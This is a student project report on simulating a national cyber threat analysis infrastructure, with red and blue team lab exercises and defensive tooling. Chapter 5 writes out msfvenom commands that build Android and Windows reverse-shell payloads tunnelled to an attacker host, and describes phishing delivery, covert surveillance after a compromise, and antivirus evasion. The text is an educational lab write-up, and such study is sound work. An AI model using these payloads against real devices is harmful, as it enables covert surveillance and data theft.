

Simulation of Nation state cyber threat analysis infrastructure
A PROJECT REPORT

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ABSTRACT

In an era of escalating cyber threats and digitally interconnected infrastructure, the need for a robust, scalable, and intelligent threat analysis framework at the national level has become more crucial than ever. This project presents a comprehensive simulation-based

model for a Nation-Wide Cyber Threat Analysis Infrastructure. The objective is to evaluate, simulate, and understand the attack vectors that may target critical digital assets across different layers of the nation's IT ecosystem—ranging from public websites to internal networks and mobile endpoints.

Leveraging state-of-the-art tools and methodologies, the project simulates a full Red vs. Blue Team operational model. The Red Team performs a variety of cyberattacks, including reconnaissance, web application exploitation, denial-of-service, system hacking (Windows/Linux/Android), password bypassing, man-in-the-middle attacks, and social engineering. The Blue Team, in parallel, is equipped with detection and defense tools like Suricata, Wazuh, and Kibana for log correlation, threat hunting, and incident response.

Data gathered through simulated attacks is analysed to evaluate the effectiveness of different defense mechanisms, detect configuration lapses, and understand attacker behaviour. The project is anchored in real-world tools like Metasploit, SQLMap, Fluxion, John the Ripper, Hydra, and more, and integrates frameworks like MITRE ATT&CK for structured adversary emulation.

The insights gained provide critical lessons in improving both technical infrastructure and human awareness, and offer concrete recommendations for future enhancements—ranging from AI-based detection to large-scale cloud simulations. This threat analysis framework can be a foundation for policy-makers, educators, and cybersecurity practitioners to understand, prepare for, and mitigate evolving digital threats.

ABBREVIATIONS

Abbreviation	Full Form
MITM	Man-in-the-Middle
RDP	Remote Desktop Protocol
DoS / DDoS	Denial of Service / Distributed Denial of Service
SMB	Server Message Block
SQLi	SQL Injection

Abbreviation	Full Form
XSS	Cross Site Scripting
DVWA	Damn Vulnerable Web Application
MITRE ATT&CK	MITRE Adversarial Tactics, Techniques, and Common Knowledge
IDS / IPS	Intrusion Detection / Prevention System
VPN	Virtual Private Network
VMs	Virtual Machines
OSINT	Open Source Intelligence
APK	Android Package
PoC	Proof of Concept
IoC	Indicators of Compromise
UI	User Interface
RCE	Remote Code Execution
CVE	Common Vulnerabilities and Exposures
SaaS	Software-as-a-Service
AI	Artificial Intelligence
TTPs	Tactics, Techniques, and Procedures
IOC	Indicator of Compromise



CHAPTER 1

INTRODUCTION

Introduction to Nation-State-Wide Threat Analysis Infrastructure Simulation

1.1 Overview

In the digital age, where every aspect of a nation's critical infrastructure—such as power grids, healthcare, defense, transportation, and banking—relies on interconnected systems, cybersecurity has become a strategic priority. Nation-states are not only protecting their digital borders but are also engaging in offensive cyber operations, making cyberspace a domain of warfare, espionage, and disruption.

This report presents the simulation of a nation-wide threat analysis infrastructure to detect, respond to, and mitigate advanced cyber threats. It is designed as a comprehensive learning and demonstration project to mirror the complexity of real-world nation-state cybersecurity operations. The project integrates threat intelligence, attack simulation, defense mechanisms, and analysis—mimicking the digital operations of a national cyber defense unit.

By simulating various attack scenarios and testing the effectiveness of defense mechanisms, this project aims to deepen understanding of threat response strategies and the implementation of a multi-layered, scalable cyber defense architecture.

1.2 Importance of National Cybersecurity

Cybersecurity is no longer a concern exclusive to private companies or IT departments; it is now a matter of national security. Countries face constant threats from hostile actors, including other nation-states, cybercriminals, and hacktivists. A breach in critical infrastructure can result in widespread disruption, economic collapse, and loss of life. For example, cyberattacks on power grids could lead to massive blackouts, hospital systems being hacked could paralyze emergency services, and financial system breaches could destabilize economies. Therefore, establishing a nation-wide threat analysis infrastructure is crucial to ensure early detection, continuous monitoring, and rapid incident response.

This simulation underscores the necessity of national preparedness in cybersecurity by building an infrastructure capable of recognizing patterns, correlating data from different sources, and orchestrating responses in real time.

1.3 Purpose of the Simulation

The purpose of this simulation is to construct a virtual model that replicates how a real nation might monitor and defend its digital assets. It allows cybersecurity professionals and students to:

- Understand the complexity and scale of national cybersecurity operations.
- Test various attack and defense scenarios in a controlled lab environment.
- Evaluate tools like SIEMs, IDS/IPS, endpoint monitoring, and threat intelligence platforms.
- Develop skills in threat hunting, forensic analysis, and incident response.

By replicating the processes and technologies used in actual national infrastructures, this simulation provides a realistic foundation for understanding how to protect against nation-state-level threats.

1.4 Objectives of the Project

This project is guided by the following objectives:

- To study real-world cyber threats and national cybersecurity strategies.

- To design a scalable and modular cyber threat analysis architecture.
- To simulate multiple attack scenarios using widely recognized attack methods.
- To implement detection and defense tools and analyze their effectiveness.
- To generate actionable insights and recommendations for national-level cybersecurity enhancements.

These objectives ensure that the project is not only theoretical but also practical, contributing to hands-on learning and real-world readiness.

1.5 Relevance to Real-World Scenarios

Several high-profile cyber incidents have demonstrated how vulnerable even the most advanced nations are:

- Stuxnet (2010): Allegedly developed by the US and Israel, it targeted Iran's nuclear facilities, causing physical damage via a digital worm.
- SolarWinds Attack (2020): Russian APT groups infiltrated US government and corporate networks through compromised software updates.
- WannaCry and NotPetya (2017): Ransomware attacks that crippled healthcare, logistics, and government systems across multiple countries.

These examples prove that advanced persistent threats (APTs) use sophisticated techniques to bypass conventional security. By simulating such threats and responses, this project enables deeper learning and proactive defense modeling.

1.6 Project Scope

The scope of the project includes:

- Threat Simulation: Simulating DDoS, ransomware, phishing, insider threats, SQL injections, and more.
- Architecture Development: Designing a centralized monitoring and response infrastructure.
- Tool Integration: Using tools like Splunk, ELK Stack, Snort, Suricata, Caldera, and MISP.
- Threat Intelligence: Collecting, analyzing, and using threat feeds and Indicators of Compromise (IOCs).
- Evaluation: Testing the system's ability to detect and respond to threats.

This scope is intentionally broad to cover the multi-layered nature of cybersecurity at the national level.

1.7 Methodology

The methodology adopted includes:

1. Research: Studying cybersecurity frameworks (NIST, MITRE ATT&CK), national strategies, and case studies.
2. Design: Creating a high-level architecture diagram and selecting tools.

3. Implementation: Simulating attacks and defenses using real tools in a virtual lab.
4. Analysis: Evaluating system performance and documenting findings.
5. Reporting: Writing a structured report with observations, insights, and recommendations.

This approach combines theoretical research with practical implementation to ensure a well-rounded project.

1.8 Expected Outcomes

Upon completion, this project is expected to deliver:

- A working prototype of a threat detection and response infrastructure.
- Detailed analysis of simulated attacks and system behavior.
- Identification of gaps and strengths in existing defensive postures.
- Practical knowledge of configuring and using cybersecurity tools.
- Strategic recommendations for national cyber defense.

1.9 Structure of the Report

The report is divided into the following chapters:

- Chapter 1: Introduction
- Chapter 2: Background Research
- Chapter 3: Infrastructure Design
- Chapter 4: Simulation Scenarios
- Chapter 5: Results and Evaluation
- Chapter 6: Conclusion and Recommendations
- References and Appendices

1.10 Conclusion

This chapter has established the foundation for the project by emphasizing the importance, purpose, and scope of simulating a nation-wide threat analysis infrastructure. In the chapters that follow, we will delve into detailed background research, present the technical architecture, simulate attack scenarios, and evaluate our defense mechanisms. Through this approach, the project seeks to contribute meaningfully to the field of cybersecurity education and national defense preparedness.

CHAPTER 2

LITERATURE REVIEW/BACKGROUND STUDY

2.1 The Evolving Cyber Threat Landscape

Cyber threats have evolved significantly over the past two decades. Initially, cybercrime was predominantly opportunistic—driven by individuals or small groups seeking fame or financial gain. Today, we are witnessing the rise of highly organized and state-sponsored cyberattacks, capable of causing large-scale disruption and geopolitical tension. Nation-state actors are now among the most sophisticated and well-funded adversaries, and their operations are often part of a country's military and intelligence strategies.

From ransomware attacks on hospitals to espionage campaigns targeting defense contractors, the cyber threat landscape has expanded to include:

- Advanced Persistent Threats (APTs): Long-term, covert operations designed to steal sensitive data or sabotage systems.
- Zero-Day Exploits: Attacks leveraging unknown vulnerabilities before they are patched.
- Cyber Terrorism: Digital attacks intended to cause panic, physical damage, or economic disruption.
- Supply Chain Attacks: Compromising software or hardware vendors to infiltrate trusted networks.

According to the World Economic Forum's 2024 Global Risks Report, cybercrime is now the third most significant global threat, only behind climate change and geopolitical conflict. The transformation of cyberspace into a battleground has made it imperative for countries to develop and maintain sophisticated cyber defense mechanisms.

2.2 Case Studies of Nation-State Cyberattacks

Stuxnet (2010)

Stuxnet was a groundbreaking cyber weapon reportedly developed by the United States and Israel. It specifically targeted Iran's Natanz nuclear facility by sabotaging uranium enrichment centrifuges. It was the first known malware to cause physical destruction through cyber means. Stuxnet used four zero-day exploits and spread stealthily through USB drives, highlighting the potential of cyberattacks to serve as tools of warfare.

SolarWinds Supply Chain Attack (2020)

This attack involved the compromise of SolarWinds' Orion platform, which was widely used by government and corporate networks. Russian APT29 (Cozy Bear) inserted a backdoor into legitimate software updates, enabling them to spy on over 18,000 organizations, including major US government departments. The attack emphasized the vulnerability of trusted third-party vendors and the importance of supply chain security.

NotPetya (2017)

Although disguised as ransomware, NotPetya was a wiper malware believed to be launched by Russia against Ukraine. It spread via a software update from a Ukrainian

accounting program and caused billions of dollars in damage globally. Its indiscriminate nature affected companies like Maersk, FedEx, and Merck.

Lazarus Group (North Korea)

This state-sponsored hacking group has been involved in cyber heists, ransomware campaigns, and espionage operations. Notably, the 2014 Sony Pictures hack exposed internal documents and was believed to be in retaliation for a film critical of the North Korean regime. Lazarus has also conducted numerous cryptocurrency thefts to fund national projects.

These case studies show how cyberattacks can achieve strategic, political, and economic goals, making them a core component of national power.

2.3 Cybersecurity Frameworks for National Defense

Effective national cyber defense relies on structured frameworks to identify, prevent, detect, respond to, and recover from cyber incidents.

NIST Cybersecurity Framework

Developed by the U.S. National Institute of Standards and Technology (NIST), this framework is widely used across public and private sectors. It consists of five core functions:

1. Identify: Understand the business context, resources, and cybersecurity risks.
2. Protect: Develop and implement safeguards.
3. Detect: Identify cybersecurity incidents.
4. Respond: Take action regarding incidents.
5. Recover: Maintain resilience and restore capabilities.

This flexible model can be adapted for national threat monitoring systems.

MITRE ATT&CK Framework

ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) is a matrix of real-world adversary behavior based on documented intrusions. It categorizes attacker behavior into tactics (goals) and techniques (methods). Governments and security professionals use it for:

- Threat modeling
- Adversary emulation
- Detection engineering

Zero Trust Architecture

Zero Trust assumes that no user or device should be automatically trusted, even if inside the network perimeter. Core principles include:

- Continuous verification of identity and device posture
- Least-privilege access controls
- Micro-segmentation of networks

Implementing Zero Trust is becoming a national priority in many countries due to increasing insider threats and credential abuse.

2.4 Role of Threat Intelligence in National Security

Threat intelligence (TI) refers to information that helps organizations understand and respond to current or emerging cyber threats. For nation-states, TI plays a critical role in anticipating, preventing, and responding to attacks.

Types of Threat Intelligence

1. Strategic Intelligence: High-level insights for policymakers (e.g., threat actor motivations).
2. Operational Intelligence: Details of specific campaigns (e.g., TTPs used by an APT).
3. Tactical Intelligence: Indicators of compromise (IP addresses, file hashes, URLs).
4. Technical Intelligence: Low-level data useful for automation (malware samples, code snippets).

Sources of Threat Intelligence

- Government CERTs (e.g., US-CERT, CERT-In)
- Information Sharing and Analysis Centers (ISACs)
- Commercial threat feeds (FireEye, Recorded Future, Palo Alto)
- Open-source platforms (MISP, AlienVault OTX)

Use Cases

- Correlating threats across different departments (defense, energy, finance)
- Prioritizing vulnerabilities
- Automating threat detection via SIEM integration

Effective threat intelligence reduces the reaction time to attacks and enhances coordination across national agencies.

2.5 Legal, Ethical, and Policy Considerations

Cyber operations conducted or simulated at the national level must adhere to international laws and ethical norms. These include:

National Cybersecurity Policies

Most countries now have dedicated strategies and laws, such as:

- India: National Cyber Security Policy 2013 (under revision)
- USA: Cybersecurity and Infrastructure Security Agency (CISA) strategic plans
- UK: National Cyber Strategy 2022

These documents guide resource allocation, stakeholder responsibilities, and incident response protocols.

Ethical Challenges

- Simulating offensive attacks can blur ethical lines, especially when involving real systems.
- Mass surveillance in the name of national defense can conflict with individual privacy rights.
- Governments must balance security with civil liberties.

International Law and Norms

- Tallinn Manual: Legal analysis of how international law applies to cyber warfare.
- UN GGE Reports: United Nations-led efforts to define state behavior norms in cyberspace.
- Budapest Convention: Focuses on harmonizing cybercrime legislation internationally.

Policy Challenges

- Difficulty attributing cyberattacks to nation-states
- Cross-border data flows and sovereignty issues
- Coordinating public-private partnerships for critical infrastructure protection

Establishing a simulation environment allows cybersecurity students and professionals to navigate these challenges and better prepare for real-world decision-making.

2.6 Summary

This chapter outlined the evolution of nation-state cyber threats, presented major case studies, discussed leading cybersecurity frameworks, and highlighted the critical role of threat intelligence. It also addressed the legal and ethical issues associated with cyber defence operations. Together, these foundational elements provide the necessary context for designing and simulating a national threat analysis infrastructure.

In the next chapter, we will delve into the architectural design of the infrastructure, including system components, technologies used, and design principles that align with national cybersecurity objectives.

Infrastructure Design

3.1 What is Cybersecurity Infrastructure?

Imagine you're in charge of protecting a city from attackers. You'd need walls, guards, cameras, alarm systems, emergency responders, and strict entry controls. In the same way, cybersecurity infrastructure protects a digital environment (like a nation's computer networks) from online threats like hackers, viruses, and cybercriminals.

A cybersecurity infrastructure includes tools, policies, and strategies that help detect, monitor, and respond to suspicious activity in computer systems. For a whole country, this infrastructure needs to be very large, scalable, and capable of analyzing threats coming from both outside and inside.

According to IBM's 2023 report, critical infrastructure breaches cost an average of \$5.05 million per incident, which highlights why this protection is so important.

3.2 Overview of Our Project

As a cybersecurity student, I created a simulated version of a **nation-state-level cybersecurity infrastructure**. This means I didn't build it for a real country but designed and ran it in a controlled lab environment that mimics how a country might defend against cyberattacks.

This setup uses open-source tools that are freely available and suitable for learning. The infrastructure simulates five key areas (like healthcare, banking, etc.) and includes features like firewalls, monitoring systems, detection systems, and response tools.

The goal: to detect, analyse, and respond to cyberattacks in real-time.

3.3 Main Layers of the Infrastructure

To make the system easier to understand and manage, I broke it down into **five layers**. Each layer has a specific job, like a part of a security team.

1. Perimeter Defense Layer

Think of this as the gatekeepers of the digital city. This layer keeps out known threats and blocks unauthorized access.

- **Firewall (pfSense)** – Like a gate that decides who can enter or leave.
- **Intrusion Detection/Prevention System (Suricata)** – Like a motion detector that alerts when something unusual happens.
- **Web Application Firewall (ModSecurity)** – Protects websites from common attacks like SQL injection or cross-site scripting.

2. Monitoring and Logging Layer

This layer collects everything that happens on the network – like CCTV cameras recording daily activities.

- **Zeek** – A powerful tool that watches all network traffic and notes suspicious behavior.
- **Filebeat** – Sends log files (records of activity) to a central server.
- **OSQuery** – Monitors what's happening on computers and servers (processes, user activity, etc.).

3. Detection and Correlation Layer

This is the brain of the system. It finds patterns, connects dots, and raises alerts.

- **Wazuh and ELK Stack (Elasticsearch, Logstash, Kibana)** – Analyze logs, search for patterns, and create alerts.
- **SIEM (Security Information and Event Management)** – Collects data from across the system and shows where attacks might be happening.

4. Threat Intelligence Layer

This layer provides extra information – like police records or intelligence reports.

- **MISP (Malware Information Sharing Platform)** – Collects known threat data from all over the internet.
- **AbuseIPDB** – Provides lists of IP addresses known for attacks.
- **VirusTotal** – Analyses files and links to see if they're malicious.

5. Incident Response and Forensics Layer

This layer acts once a threat is detected.

- **TheHive** – A platform where incident reports are managed.
 - **Cortex** – Runs automated response actions (like blocking an IP).
 - **Velociraptor** – Investigates what happened on infected systems.
 - **Autopsy and Volatility** – Tools to analyze disk and memory after an attack.
-

3.4 Network Segments (Simulated National Departments)

In real life, countries separate their services (e.g., defence, health, finance). I mimicked that by splitting my lab into several zones using **Virtual LANs (VLANs)**:

- **Défense Zone** – Simulated military and intelligence systems
- **Finance Sector** – Banking systems, ATMs, and stock exchange data
- **Healthcare Zone** – Hospitals and patient records
- **Civil Services** – Government departments like taxes, police, and administration
- **Public Utilities** – Electricity, water, and transport

Each network segment had different devices and services running, just like in the real world. Each was monitored separately, and logs were sent to the central system.

Fun Fact: According to a CISA report (2022), using network segmentation can reduce the damage from a cyberattack by over **60%**.

3.5 How Data Moves (Data Flow Design)

Here's a simplified version of what happens when someone logs in or an attacker tries to break in:

1. **User Activity Happens:** A user logs in, opens an email, or accesses a file.
2. **Logs Are Created:** Tools like Filebeat and Zeek record what happened.
3. **Logs Are Sent to Logstash:** Think of it as a data cleaner – it formats the logs properly.
4. **Elasticsearch Stores Logs:** Stores all the logs in a way that they can be searched quickly.
5. **Kibana Shows the Data:** Security analysts use graphs and dashboards to monitor.
6. **Wazuh Detects Something:** If it sees something odd, like too many failed logins, it creates an alert.
7. **TheHive Opens a Case:** The alert is turned into a case and assigned to a responder.
8. **Cortex Takes Action:** It may block the attacker or isolate the machine.
9. **Velociraptor Does Forensics:** Investigators use it to find out what exactly happened.

3.6 The SOC – Security Operations Center

The **SOC** is like the control room where everything is monitored. In my project, I acted as the SOC manager and also simulated the roles of different analysts:

- **Tier 1 Analyst** – Watches dashboards, handles minor alerts
- **Tier 2 Analyst** – Digs deeper into unusual behavior, runs investigations
- **Tier 3 Analyst** – Uses forensic tools, investigates malware
- **SOC Manager** – Makes decisions, writes reports, manages teams

We simulated shifts, just like real SOCs that work 24/7. For example, during a simulated night shift, a fake ransomware alert triggered a full investigation.

3.7 Security Policies and Rules

Even in a lab, rules matter. Here's what I implemented:

- **Access Control** – Only certain users could access certain systems
- **Multi-Factor Authentication (MFA)** – Users needed passwords + OTP
- **Logging Policies** – Every system recorded who did what, and when
- **Backups** – Daily backups were taken and stored securely
- **Compliance** – Followed rules from NIST, ISO 27001, and CIS Controls

Did you know? Microsoft says **MFA alone can block 99.9%** of automated attacks.

3.8 On-Premise vs Cloud (Student Perspective)

I ran most of the simulation on local VMs using VirtualBox and GNS3. However, I also tried:

- Running the ELK Stack on Elastic Cloud
- Using AWS S3 for backups

Lessons I learned:

- **On-Premise** = More control, better for sensitive setups
- **Cloud** = Easier to scale, but needs internet access and planning
- **Hybrid** = Best of both worlds, and what many governments actually use

3.9 Challenges and Fixes

Problem	What I Did
System Lag	Reduced log volume, upgraded RAM
Alerts Not Triggering	Adjusted Wazuh detection thresholds
Cortex API Errors	Used Postman to debug and test APIs
Unsafe Malware Testing	Used isolated networks and snapshots to roll back

Each problem made me understand the system better. For example, debugging alert logic taught me how real SIEM rules work.

3.10 Summary

This chapter detailed how I designed and built a full-scale cybersecurity infrastructure simulation. Even though it was made in a student lab, it reflects how real national defense systems are built – using layers of tools, smart design, and constant monitoring.

Everything set up in this chapter will now be put to the test in **Chapter 4**, where we simulate real-world cyberattacks like phishing, ransomware, insider threats, and data exfiltration.

Let's go hands-on!

Chapter-5 **Threat Simulation Scenarios**

5.1 Introduction to Threat Simulation

In the modern cybersecurity landscape, the stakes have never been higher. As nations rapidly digitize their infrastructure—embracing e-governance, smart cities, national ID systems, and defense digitization—the attack surface for cyber threats expands exponentially. A single exploited vulnerability in a public-facing web server, an unpatched government endpoint, or an unencrypted communication channel could lead to a catastrophic breach with national consequences. In this context, **threat simulation** emerges not only as a pedagogical tool for cybersecurity training but as a critical capability for understanding, testing, and strengthening national cyber resilience.

This chapter presents the core of our project: the hands-on simulation of real-world cyberattacks against a virtual nation-state infrastructure. The aim is to mimic the tactics, techniques, and procedures (TTPs) used by adversaries ranging from individual threat actors to advanced persistent threats (APTs). Through these controlled simulations, we evaluated the detection, response, and mitigation capabilities of the national-level cybersecurity infrastructure we designed.

What Is a Threat Simulation?

Threat simulation is the process of **replicating cyberattacks** in a controlled environment to assess the readiness of defensive mechanisms. Unlike simple penetration testing, which often focuses on discovering vulnerabilities, threat simulation emphasizes **the full kill chain**—from reconnaissance to exploitation to lateral movement and data exfiltration. It also places emphasis on **how defenders respond**, how quickly attacks are detected, and how well logs, alerts, and incident handling processes function under pressure.

In this project, we used a blend of **open-source tools** (like Metasploit, Hydra, John the Ripper, Slowloris, ADB, Nmap, and Dirb) and **pre-configured vulnerable machines** to simulate a wide range of attacks. These included brute force, denial of service, system exploitation, credential dumping, privilege escalation, phishing, and more—targeting both servers and client machines (Windows and Android).

Why Simulate Nation-State Attacks?

Nation-state attacks are **advanced, stealthy, and often multifaceted**. They don't rely solely on one method of entry but combine social engineering, malware, and system-level exploits with strategic patience. By simulating these, we:

- Tested realistic responses from security tools like Wazuh, Zeek, and Suricata.
- Identified gaps in log collection and SIEM visibility.
- Practiced incident response, including automation and manual containment.
- Gained deep understanding of attacker behavior and the importance of behavior-based detection.

Threat simulations help security teams "**train like they fight**", exposing weaknesses not just in technology, but also in people and processes. It's where red teams (attackers) and blue teams (defenders) clash in a realistic cyber battlefield, often referred to as a **purple team** exercise when done collaboratively.

Educational and Strategic Value

From an academic standpoint, this exercise helped us bridge theory and practice. Reading about buffer overflows, reverse shells, and payload generation is one thing—but building, launching, and defending against them is another. As cybersecurity students, the simulations enhanced our ability to:

- Understand real-world attack vectors.
- Use industry-grade tools in an operational setting.
- Think like attackers to improve our defensive mindset.

Strategically, this also helps nation-level cyber readiness programs identify **critical attack paths**, prioritize **patching and hardening**, and train analysts and SOC teams under simulated pressure.

Scope of the Simulation

Our simulated environment included:

- **Windows 10 and Android endpoints**
- **Public-facing Apache web server**
- **Simulated DNS and FTP servers**
- **Security tools (Wazuh agents, Suricata, Zeek, OSQuery)**
- **SIEM dashboard using the ELK stack**

The attacks covered multiple vectors including:

- Network-level: Port scanning, ARP spoofing, Slowloris
- Application-level: Brute force login, SQLi, and XSS
- Host-level: Privilege escalation, reverse shell backdoors
- Credential-based: Password cracking and keylogging
- Mobile device: Android remote access via ADB

These attacks were carefully planned and executed with **detection, alert generation, and response behavior** being logged and analyzed throughout the process.

Chapter Objectives

This chapter will:

1. Describe each threat simulation scenario in detail.
2. Explain the tools, commands, and payloads used.
3. Analyze how effectively the infrastructure detected and responded.
4. Highlight gaps, strengths, and opportunities for hardening.
5. Provide visualizations and log samples for every scenario.

By simulating the worst-case scenarios a nation could face, we aim to highlight the importance of **proactive cybersecurity**—where waiting for an attack is no longer an option.

5.2 Infrastructure Setup

A robust and realistic infrastructure is the foundation of any meaningful cyber threat simulation. In this project, we designed a virtualized environment using **VMware Workstation 17 Pro** to simulate a scaled-down version of a national infrastructure. The goal was to mirror real-world scenarios involving a variety of endpoints, attacker systems, vulnerable targets, and monitoring capabilities. The infrastructure was built to allow safe, repeatable testing of cyberattacks and defensive strategies.

5.2.1 Virtualization Platform: VMware Workstation 17 Pro

All components of the simulation were hosted on **VMware Workstation 17 Pro**, enabling us to:

- Run multiple operating systems in isolated environments
- Simulate diverse endpoints and servers
- Revert to snapshots for safe, repeatable testing
- Isolate the test environment from the host OS to prevent accidental compromise

VMware was chosen for its reliability, advanced networking options, and compatibility with both Kali Linux and Windows systems.

5.2.2 Machines Used and Their Roles

Virtual Machine	OS	Role	Tools Installed
Attacker VM	Kali Linux	Offensive machine	Metasploit, Hydra, Nmap, Coldboxeasy
Target VM	Windows 7	Victim machine	Vulnerable services (SMB, RDP, FTP), no AV
SOC/Logger VM <i>(optional)</i>	Ubuntu (future expansion)	Log collector & analysis	ELK Stack, Wazuh, Suricata (<i>not installed in current setup but planned</i>)

5.2.3 Network Configuration

- **Internal NAT Network:** All VMs were connected via a **host-only network** in VMware, ensuring isolation from the internet while allowing internal communication between attacker and target.
- **IP Address Management:** Static IPs were assigned to each machine to simplify targeting and log tracking.
- **Simulated Topology:**

lua

CopyEdit

Attacker (Kali) <-----> Windows 7 (Target)

|

[Optional: Logger/Monitor VM for log collection and IDS in the future]

5.2.4 System Setup and Configuration

❖ Kali Linux (Attacker Machine)

- Version: Latest Kali Rolling Release
- Tools installed:
 - **Metasploit Framework** for exploit delivery, reverse shells, and post-exploitation
 - **Hydra** for brute-force attacks
 - **Nmap** for network scanning and service detection
 - **Coldboxeasy** for web app attack simulations
- Configuration:
 - Networking: NAT / Host-only for isolated penetration testing
 - Updated with latest vulnerability databases (via msfupdate and apt)

○ Windows 7 (Target System)

- Reason for choice: Windows 7 is **end-of-life**, commonly found in legacy systems, and contains known vulnerabilities exploitable by tools like Metasploit.
 - Services enabled:
 - SMBv1 (for EternalBlue testing)
 - FTP and RDP (for brute-force and enumeration)
 - Security Configuration:
 - No antivirus installed
 - UAC disabled for easier payload execution
 - Vulnerable applications intentionally installed (e.g., old versions of Java, Flash, etc.)
-

5.2.5 Tools and Purpose

Tool	Purpose
Metasploit	Exploitation (e.g., EternalBlue), payload delivery, post-exploitation
Hydra	Credential brute-forcing (FTP, RDP, SMB)
Nmap	Reconnaissance and vulnerability scanning
Coldboxeasy	Web app testing, local server exploitation
Wireshark <i>(Optional)</i>	Packet sniffing for learning how attacks look in transit
VMware Snapshots	Safe recovery before/after each attack

5.2.6 Planned Enhancements (For Larger Scale Simulations)

While the current infrastructure is minimal, it forms the core for potential scaling. Planned additions include:

- **Linux Web Server** (e.g., Apache on Ubuntu): For SQLi, XSS, and dirb testing
 - **SOC Tools**: Integration of Wazuh, Suricata, and ELK for centralized monitoring
 - **Android Emulator**: For mobile exploitation via ADB and malware analysis
 - **Honeypots**: Deploying fake services to monitor attacker behavior
-

5.2.7 Justification of Infrastructure

This setup is intentionally minimal but strategic:

- **Kali Linux** provides the complete toolset for offensive testing.
- **Windows 7** mimics vulnerable legacy systems still in use in many nations.
- **VMware Workstation** allows isolated, revertible testing environments.
- **Coldboxeasy** supports web exploitation testing, expanding threat scenarios.

Such infrastructure simulates real-world environments where:

- Attackers breach weak systems using known exploits
- Defenders may be unaware due to poor logging or outdated systems

5.2.8 External Targets: Online Vulnerable Websites and Android Hacking Extension

In addition to the simulated network infrastructure hosted on isolated virtual machines, we extended our simulation to include **publicly accessible vulnerable websites** and **mobile device exploitation scenarios**. These additions provided an advanced, nation-state-level simulation with exposure to adversarial tactics used in both web and mobile domains.

Android and Remote Exploitation Infrastructure

To simulate a mobile-based cyber threat scenario, we constructed an infrastructure that enabled the testing and deployment of Android-based payloads. The goal was to simulate Advanced Persistent Threats (APTs) targeting citizens, officials, or national assets through mobile devices.

Tools and Environment Used:

- **Kali Linux (Attacker Machine)**
- **Windows 11 Host System (Payload Preparation, VPN management, and Command Center)**
- **Metasploit Framework (for reverse shell payloads and session handling)**
- **MSFVenom (for generating custom APK payloads)**
- **Portmap.io (for tunneling and exposing services to the internet securely)**
- **OpenVPN (to securely connect to Portmap.io server)**
- **Android Emulator or Physical Android Device (as the victim system)**

a) Setup and Network Design

1. **VPN Integration:** The attacker machine on Kali Linux connected to Portmap.io through OpenVPN to get a public IP address. This IP was used to deliver reverse shell payloads to Android.
2. **Payload Creation:**

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=<Portmap_Public_IP>  
LPORT=1234 -o threat.apk
```

3. **Hosting Payload:**

- Used Apache2 or Python HTTP server to host threat.apk.
- Social engineering techniques were mimicked to trick the user into downloading the APK file.

4. Payload Delivery & Exploitation:

- After installation, the payload contacted the attacker machine via Portmap.io.
- A Meterpreter session was established to interact with the Android device.

5. Post-Exploitation Techniques:

- Accessed and exfiltrated sensitive data (SMS, call logs, GPS coordinates).
- Took screenshots and camera access.
- Recorded microphone and accessed storage.
- Created persistent sessions for surveillance.

b) Detection Challenges

- Standard antivirus on Android did not detect the custom MSFVenom APK.
- Obfuscation tools like APKTool and ZipAlign were used to evade signature-based detection.
- Application permissions were disguised under seemingly legitimate names.

c) Legal Considerations

- The attacks were performed on a personal or authorized emulator.
- No real-world individuals were targeted.
- Conducted strictly for educational and research purposes.

Integration into Simulated Nation-Wide Infrastructure

The Android attack simulations were mapped onto our broader national cyber-threat framework:

- **Scenario:** A foreign adversary sends malicious apps disguised as utilities to citizens.
- **Objective:** Surveillance of officials and disruption of mobile communication channels.

- **Defensive Measure Simulated:** Mobile Endpoint Detection and Response (EDR), network anomaly monitoring, and sandboxing.

Visual Log Correlation

- Android exploitation logs were integrated into **Wazuh** for SIEM analysis.
- Suricata triggered alerts based on suspicious beaconing behavior.
- Screenshots and exfiltrated logs were archived in the project's Appendix.

Results & Observations

- Portmap.io allowed seamless NAT traversal, simulating realistic backdoor delivery.
- Android reverse shells were reliable even with network changes.
- System logs remained mostly silent—highlighting the need for advanced mobile SOC monitoring in national security infrastructure.

This enhanced setup allowed the simulation to cover **multi-platform threat landscapes**, an essential requirement for nation-state-level cyber defense. Future simulations may include iOS emulation and cloud-device integration for broader impact analysis.



CHAPTER 5.2.8 — Red vs. Blue Team Methodology

◆ Introduction

The Red vs. Blue Team methodology is one of the most practical ways to simulate real cyber conflict. It reflects how attackers (Red Team) and defenders (Blue Team) operate within live environments. This simulation helped reveal strengths, vulnerabilities, and response efficiency using real tools in a controlled infrastructure.

❖ Infrastructure Setup

Tools & Environment:

- **Kali Linux** for offensive operations
- **Windows 7 & Windows 11** for testing targets
- **Android Device** for mobile payload tests
- **VMware Workstation 17 Pro** for isolation
- **Metasploit, ColdBoxEasy, Hydra, John the Ripper**
- **Portmap.io & OpenVPN** for reverse shell tunneling

The systems simulated vulnerable services (DVWA, bWAPP), exposed ports (SSH, SMB, RDP), and misconfigurations that mimicked real-world poor security hygiene.

– Red Team Simulation

1. Reconnaissance & Scanning

Tools Used: Nmap, WhatWeb, enum4linux

Purpose: To fingerprint services and enumerate shares.

- **Nmap Scan Command:** nmap -sS -A -T4 target-ip
- Found: SMBv1 enabled, outdated Apache, MySQL with weak auth.

2. Exploitation & Payloads

Payloads were created using:

- msfvenom for Windows & Android
- EternalBlue exploit used on Win7

Example Commands:

bash

CopyEdit

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=VPN_IP LPORT=4444 -o  
update.apk
```

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=VPN_IP LPORT=5555 -f exe > trojan.exe
```

Delivery Methods:

- Phishing via fake software updates
 - File sharing over SMB
 - Web-based fake login portals
-

Blue Team Defense

⌚ 3. Monitoring & Detection Tools

- **Suricata** for network intrusion detection
- **Wazuh + OSSEC** for endpoint monitoring
- **Kibana** for log visualization
- **Sysmon** for detailed Windows telemetry

Detected Events:

Attack	Tool	Detection
Port Scanning	Nmap	Suricata Alert
SQL Injection	SQLMap	Blocked by WAF
Reverse Shell	Metasploit	Missed due to SSL
Android Access	Custom APK	Not detected

Log Response:

Logs were correlated in real-time using Kibana, visualizing session durations, IPs, and abnormal activity spikes.

Red vs. Blue Outcomes

🧠 MITRE ATT&CK Mapping (Examples)

Tactic	Technique	Tool
Initial Access	Phishing	Metasploit

Tactic	Technique	Tool
Execution	APK Payload	msfvenom
Lateral Movement	SMB Exploit	EternalBlue
Exfiltration	Reverse Shell	Portmap.io

What Worked / What Didn't

